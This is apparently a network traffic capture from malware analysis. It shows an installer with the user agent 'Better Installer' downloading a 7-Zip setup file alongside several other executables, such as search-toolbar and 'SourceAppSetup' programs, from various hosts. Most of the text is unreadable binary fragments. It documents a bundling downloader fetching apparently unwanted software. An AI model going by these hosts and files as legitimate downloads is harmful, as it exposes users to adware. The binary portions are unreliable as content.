.IF......3.Uh.3A.d.2d.".G..X.K..|)C3..G.........U..A....E..}..t..[....
#FKu.3.ZYYd..h.3A...IF........T......E._^[YY][email protected][email protected].
..3.Uh.4A.d.0d. .]..E...E.Pj..U.../F...8...M......A...p...*...3.ZYYd..
h#4A..E..............[..].U..QS....IF......3.Uhn4A.d.0d. ....IF.......
E.3.ZYYd..hu4A...IF..#............E.[Y].SV.............u....(.....^[..
@.U..S....IF..,...3.Uh.5A.d.0d. ......IF......;...A.t....1........<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=231240-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:57:25 GMT

Content-Type: application/octet-stream

Content-Length: 77080

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:57:25 GMT

Cache-Control: max-age=259200

Content-Range: bytes 231240-308319/308320
.o..l....o.......o.......o.......W.......o.......o.......o.......o....
...p.......p...... p......,p......8p......Pp..,...\p..;...tp..>....
p..C....p..k....p.......p.......p.......p.......p.......p.......p.....
..p..;....q..k... q......0q......<q......Hq......Tq......`q......lq
......xq..;....q.......q.......q.......q.......q.......q.......q......
.q..;....q.......r.......r.......r......(r......4r..;...Lr......\r....
..hr......tr.......r..;....r... ...r... ...r... ...r..; ...r...$...r..
.$...r...$...r..;$...s...(...s...(...s...(..(s...,..4s...,..@s...,..Ls
...0..Xs...0..ds...0..ps...4..|s...4...s...4...s...8...s...8...s...<
;...s...<[email protected][email protected]...|..
.t...|..([email protected]..,...0t..q...(j......<t......Ht......Tt.....
.`t......lt......xt.......t.......t.......t.......t.......t.......t...
....t..C....t.......t.......t......xk..)....t.......u..k...8k..!...,u.
.c...0j......8u..D...Du..}...Pu......8j......hu..E...Pj......tu..G....
u......Xj.......u..H...`j.......u.......u.......u..I....u.......u.....
.8l..A....u......hj.......u..J...pj.......u.......u.......v.......v...
... v......,v......8v......Dv......Pv......\v......hv..K...tv.......v.
.....xj.......v.......v.......v.......v.......v.......v.......v.......
v.......v.......v.......w.......w.......w......(w......4w......@w.....
.Lw......Xw......dw......Hk..#...pw..e....k..*...|w..l...`k..&....w..h
....j.......w..L....k.......w..s....j.......w.......w.......w.......w.
.M....w.......w...... l..>....w.......k..7....x.......j.......x<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=145866-291732

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:52:17 GMT

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Range: bytes 145866-291732/583464

Content-Length: 145867

Connection: keep-alive
..l..I..lV.r.X?.z#[4..N.Z..<..Yd...........X.Q~p...;....}rw.d?AtH..
...$...5..Y..IO.w...r....=.]..)L.G...[..Q._D...=..v..).5.jN._.9..l.5.$
.....FXM...-.qF>..>....UgG6..h1...eQ....92....~!?.w.e.Lc.~U..U..
.`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.e62.d
.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t...*..
.8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9.......
.VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7.o...
V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ.......\
......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z...:..
.Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W....{.W.
..j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^..7..
 }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k......7-.
.0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... h.C..
........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.7.yZ.
X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a........
..".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.. ..i
 ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..<`.
.R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.M....
.W}[email protected].... zi=-
...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P...W...
.ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.J1.B.
>...4.{.1.....v6...<Y......M,[email protected].:...U|Y.{..Ln;vY..:A.<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=416430-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:21 GMT

Content-Type: application/octet-stream

Content-Length: 694046

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 416430-1110475/1110476
XD.h(...a....k.i.5ML'..u.........* .....L...r.....l.OrB..Q';..Ac......
-8.D..W.c.<..4...Y...v...zzL.x.......b...b... qv....5..#cF..f..q...
F.....#|I.K..^.\Q..$..G...4.3/.gk.....dY.N...../.......n.W'x..h...."[-
..3"(.u..x.:g....3S.0....I....Q.........S.I...4O...;..k3.Z'..V1...}.92
A.2.La..&..ys][email protected]\.".`.3.|.'>.xZ...........GO.....
....../o........N.J...Mt.e.. ..Z..C#..{ou.^K\xW..."..f.l...L F.....C..
!.....Il5j8jM.......h.E."3.].!........%.......&.....%2.).{v...>....
Ii..1MJ.L.V........N.G'x.o...Ni...\ >[email protected]:.^..7
z.{Zn...W......M...^X...;)..W;;}.............m&.!......s_..{.<....4
..~Q..F.Y..$.)c.;.Y{..!m..G.v....V.79T.P...L..F.A[...z.B..i.r}........
...&.......S....X,.]..d{...'..r.P..#,.=f}^..#..EY. .A...$..'._.zi.3. .
.s..................... .....6"W...\.0.4...x..H..x......[..Q..Q9[O....
......b.ky..O?...!........N.....*I......k.bw.{...[......~.....X..VT.N(
.k...?.8t........r..\.....*...#....D........B......Qx....?...3U..pG...
......[e..?]....no.#..1Y.P....6;/umQ..c5.. .7Nr........^..A..O..W.....
{..P...;........;.....`.....o;Tks.......q.r.[k.n..gu....5...{lH7.... D
....=.`../Y.[.....m.....9'.{..LB.<....4......>..............>
.......G....x..*L.Gc>.=t..j.B.....;;n.H .J....O....\..-..T......p..
.X......#..<...f.>j.U.o..cV]..o...'...F*%..y..G.a....JM.9U......
j...;0^.....-Y.. ....H.s.$.J.......kE.J.=..oH..H.PS.....K...J...z=..KU
.s.Y.._HZ*.^.4.o..StA...A.V..5.~..?..{3K.............9.N7G^..Az>G-V
p.7z...._..s.V.<.....(....".p.X....-..AS.%}[email protected].<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=77080-154160

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:53:18 GMT

Content-Type: application/octet-stream

Content-Length: 77081

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:53:18 GMT

Cache-Control: max-age=259200

Content-Range: bytes 77080-154160/308320
...j.V.E..E.......YY..u.......>csm.u .~..u%.~. ...t..~.!...t..~."..
.u.9^.u...........9.....tl............E.......u.......V.....YY..uD.}.9
..........][email protected].;.|.......E..E....E..&g
t;csm........~.........~. ...t..~.!...t..~.".....f...9_........E.P.E.P
.u..u W......M....;M........P..E..U..Z..]..].9B.......;B........:.}..z
..}....}[email protected]....#.v...PQ.E..S........u*.E..U..M.H....E..
U......E.H....E..M......'.u..E...u$.u .u..u..u.W.u..u.SV.......,.U..E.
.M.A....M..U.;M...<...3..}..t.j.V.....YY.}..uy..%....=!...rk....te.
w.V.....YY..uV...........................}$..M.......Vuz.u..x.E.9_.v.8
].u1.u$.u .u.W.u.P.u.V.s..... .`...9.....t......_^[.......j.V.....YY.E
.P.M..E...A..S...ht.B..E.P.E...A.......u$.....j.W.u..u..2.......w..^..
..U..QQW.}..?..........SV.............].tHj.....A........9.....t1.?MOC
.t).?RCC.t!.u$.u S.u..u..u.W.................{..u.......E.P.E.P.u..u S
......M..U....;.sy.p..E.;F.|c;F..^...~.....|....t..V..\...U..{...].u8.
~.......}...@u(j..u$.N..u Qj.PS.u..u..u.W......U..M...,.E.A....M.;.r.^
[_..U..QQSV.u.W..tl3...9.~]...]..E..@[email protected]...~5.E..p..F..2..P
.}....M......u..E..U.H....E..U.........G....M.;>|._^..[............
.U...M..U...V.q.....x..I...........^].j.h..B.......U..M.......t......y
..z..e...u.VRQ.].S.W......Ht.Hu4j..F.P.s......YYP.v.W.F......F.P.s..s.
..YYP.v.W.,....E......}[email protected]
...X....H...u.........E......}...x.......].j....tB.u..v..z(..YY.......
.j.W.h(..YY.........N....E....PQ.....YY........u..E..p....tN.0(..Y<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=214170-

User-Agent: Better Installer(Mozilla)

Host: d3aa6lfjz7mo54.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 71388

Connection: keep-alive

Date: Sun, 04 Jan 2015 05:53:17 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 214170-285557/285558

Age: 3357

X-Cache: Hit from cloudfront

Via: 1.1 0bf273691c5e8abcc6e0d2b83ecc42d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: U0hglbkLr6ZjUFegD45z6fK3yObQYIXHRHrrdqtgsoo_eTwDtZYLuA==
a...:X.h0...d...,Q..b:..... <o..^..z.nI...n..b..3........$.#....k..
m...L:M..^..b..j.*G.:c'^T... .k..|..?D...c....\..P.}[email protected].
...x.X..7.[.f...!......g...)aT......k.....1..K.....ou74.U..#.k3-...N..
.....t....u8n.7.c.2..7J... ...h..s......[.V..44.a..<.- .....x..O2oZ
*...u.....oY...T..k..r. z'._GC..B.W.9&1......'.~/].2 v~..:f.=.x<0.}
.e3F/5..b..<!..H...1)......V~G...7.........A..1VS..s.!6.k.J6...h.o.
..8..A^[email protected]>.[.Z...I..P..................Y..... .I."....s....6
d..<F-..[....\]^... C4w>..'j$.qT........J .{..\....X>........
......|EU.*................c..Q.<......Mk..%....1c...8.g:...=.d'.R.
..Im,O.o$..Q.....O..fS43.(...`..........M.s...Rx..[.|:...&.^.....c....
..)...>.6.C4c".%..O..r.Cg.........|._...9..m.h.6.;.Y.L.~).M..]A\...
e.u`...U....s.X....m.....1y|.....k......~..uEi.$...J..pK.:Xt.....z9.bu
*...1:.C....`.]..N.oR.....0..(.5U!.*....$.......3t.0..Vd6..H....6.9N,.
...)T....e.h.."..N6..nUE.......Z..d.........&.....`..1..............b9
..K..g..9Md...K...6q.?...MU.GW.c.C..Ppfw..u.{.."..]....wf|k./(BX......
V...p>...'.;..(..Q.....9.:...R.v";...zv\;..Ow.2...7.~.IT.D..mu.k.OG
w....<U.....x.. ...i.....W.5|w.#....DR.w.}..r......D...^Y..v.... 05
...K.:.{..}Q...t.Y......P..#Hl....2........&c.....C.*...D....l...v.K.v
D.wC..vK4..W.P.).X.....Z..;V2......,j....q./.q.i..d.........\..F.._a..
.U....T...m...d.....>....{z.tf.T..%...5.. NF.......).....:.b,..O.Yq
.....u/oT<.`[email protected].|T..mVLY.......C(
E.....F...e|...hu.\.\. .....~ ..Fi>..M.;..f.U$..!.&6 Y......s..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=832858-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Type: application/octet-stream

Content-Length: 277618

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=555240-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Type: application/octet-stream

Content-Length: 555236

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....<<< skipped >>>

GET / HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914


HTTP/1.1 302 Moved Temporarily

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.4.19

location: tmps.exe

Server: cloudflare-nginx

CF-RAY: 1a55cd3baf630f75-FRA

0......

GET /tmps.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: dl627.settleship.org

Cache-Control: no-cache

Cookie: __cfduid=df22ea57769325f0b5f313d0b6b9807031420692914

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Thu, 08 Jan 2015 04:55:14 GMT

Content-Type: application/octet-stream

Content-Length: 199104

Connection: keep-alive

Last-Modified: Tue, 06 Jan 2015 18:40:02 GMT

Content-Range: bytes 0-199103/199104

Server: cloudflare-nginx

CF-RAY: 1a55cd3c1f700f75-FRA

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......]..L........
.....f~.........6.....B.......w.......p.....Rich......................
......PE..L......T.................`...................p....@.........
.................0.......].......................................p..&l
t;........H........................... ...............................
................p...............................text...._.......`.....
............. ..`.rdata.......p.......d..............@[email protected]...
[email protected]..................@..@...
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
................................................%. @..%. @..%. @..%. @
..%. @..%. @..%. @..%. @..%  @..%$ @..%( @..%, @..%0 @..%4 @..%8 @..%&
lt; @..%@ @..%D @..%H @..%L @..%P @..%T @..%X @..%\ @..%` @..%d @..%h 
@..%l @..%t @..%x @..%| @..%. @..%. @..%. @..%. @..%. @..%. @..%. @..%
. @..%. @..%. @..%. @..%. @..%. @..%. @..%. @..%. @[email protected].
......].U....V..t..u. ...xu...:[email protected]....^].2...U..QQ.F<.L
04;[email protected]...... ...t.SW...U.y....E.....tD.H..M..M....f..f........
....y.I......A...f..t....u"....1.E..E..9}[email protected].@_[..3...U

<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=218799-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:52:17 GMT

Date: Thu, 08 Jan 2015 04:52:17 GMT

Content-Range: bytes 218799-583463/583464

Content-Length: 364665

Connection: keep-alive
..u.._&..{..Z...Ic..vz........l......7.].E.y.h5.T6...R.s...9..;*......
Jet!g.O..'....n...]D[...... [E-./y.$d.0...-...'....Jt..h6....s..Yx....
c..e3..I7Cl.V.c...]...q>TN............p.$o.=m%.\._...........S...%.
1/Q..c.....(..\a...N..~.?..u..).\..*..C.?...LrC~...A...e..Y..wg<...
.......*..H..:RSnl.. .&.;....S..P.Iw.B....0..[.....3..T.O......#.{....
...5.....h....l.>7.C...1U..e`.{.Y...U...1%.2B...i..A.R.47JQ.J..`.n.
..X...hN..c..x.1...Dn.#........k.D....Nn....a....E...e.X.>.`&.1@.^x
U.5.....<..p.V..]..R ..H#..A.p..p...~....)...N~./[email protected](.....*.2..
..>...=.m....C.....jmpG.......l... ..R..a.3....m$xnw..-kU...'}a..Q?
.O..."..(U..0..W..... /...W?.7o..3]A.G...E7....UBT.H.. Jc0E.....>v.
7=.6..3.].=3'.C}...N..-...V xK...L.Z.{..o.....Q^....'....~...\e.....&.
....WC..xQgeX...W.Xk....0....f..{..g....2....O....40 ......?."........
.-....5*a.#...U~..I..MH`.....M.....G..Q.M.....~.P......Z.@sX>@..T.&
...../....m}.p._..~..&..11..^[email protected]...'..K.g.j]zi.....8.5S."8R.
...\.H.MO{..>.Yt.-....[@......lBI.Q...........7....TX^.....0.5.s.'.
.C.......9...P.....[.f...O.G....b.D...l......`.........c.."<...'...
..X....,........q............).../.P.Pt3.T.p.A....ZY...`(.....;,.h%...
j.,.J..#u |2..n.w.hx,X..z.K{..zY....UG.{......*..v.N.g..A....|.u..0.).
'..qF.K..\..~.a....M.s;..Q..wY%..<.........39s.KWI5..-..=L..M.MW .W
q.*[email protected].<...5.K...Hi..H.d ..k...S.........<.
....\..3..q!...8c......o.x...v....W......&....q.w.>..<.Dz..\....
.>[email protected][.... i...o...#P...{Q......W.6.|*28.p.lY<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1269576

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Wed, 07 Jan 2015 08:34:28 GMT

Accept-Ranges: bytes

ETag: "28637c0542ad01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Thu, 08 Jan 2015 04:52:09 GMT

X-Cache: Miss from cloudfront

Via: 1.1 105d89977b3b597f82611afd69996fe6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: G_SNLcUSh3GEUKn7YYaaZOyXf_X0AbQO0WeP8w-LUYx8le004TpTfQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Fri, 09 Jan 2015 04:53:20 GMT

Date: Thu, 08 Jan 2015 04:53:20 GMT

Content-Range: bytes 0-583463/583464

Content-Length: 583464

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................;........................................s....
..................8...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=154160-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:16 GMT

Content-Type: application/octet-stream

Content-Length: 154160

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sun, 11 Jan 2015 04:55:16 GMT

Cache-Control: max-age=259200

Content-Range: bytes 154160-308319/308320
g.........t...]....2........U...E.3...t.=....w...P.*g.........t...]...
......U.....S.].VW...U..G...........?........}..M..W.;.s..G.......G..@
... .;.rV3...t..U..].......D..A;.r..]..W....0....~?;.s!.E.....E..M...8
......E...@..@;.r..}.3...3...3. .t..U....48....D..A;.r._^[..].........
....U......P...3..E.SVW....3..W..d$.....D5...B..D5...B..D5...B..D5....
.R....r..G......?.8.....8r..x... .Q............j..U............S..G...
[email protected]._^3.[..^....]..
..U....\[email protected]..........$......P.
[email protected]..}..u...#.....#....U..E..x.j.....
.......#...#....M...V..............#...#....M....p $...........#...#..
..M................#.....#.......|..M..............#.#.....*..G.M.....
.......#...#......F0..M............#...#.......F..M..........#.....#..
......i.M..........#.....#.......D..M............#...#......[...M.....
.........#.#.......\..M..............#.#....."..k.M..}............#...
#....}....q..........]..U..}.....#...#....]..E...Cy.......E...#.......
#M..!..I...}..M.....#......#....u..E..b%......@.@.#........#....U.....
.....#.....#.....QZ^&.M..........#.....#..........M..............#.#..
...]./..M..............#.#.....S.D..M............#...#..........M.....
.......#...#..........M.........#......#........!.M.........#......#..
.....7..M............#...#..........M..U.......#........#.......ZE.M..
.....#......#....U..}..................#...#....u..E............#.....
.#....}.....og...........#...#....]..E...L*.....3......3..B9...E..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=971667-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Thu, 08 Jan 2015 04:55:20 GMT

Content-Type: application/octet-stream

Content-Length: 138809

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
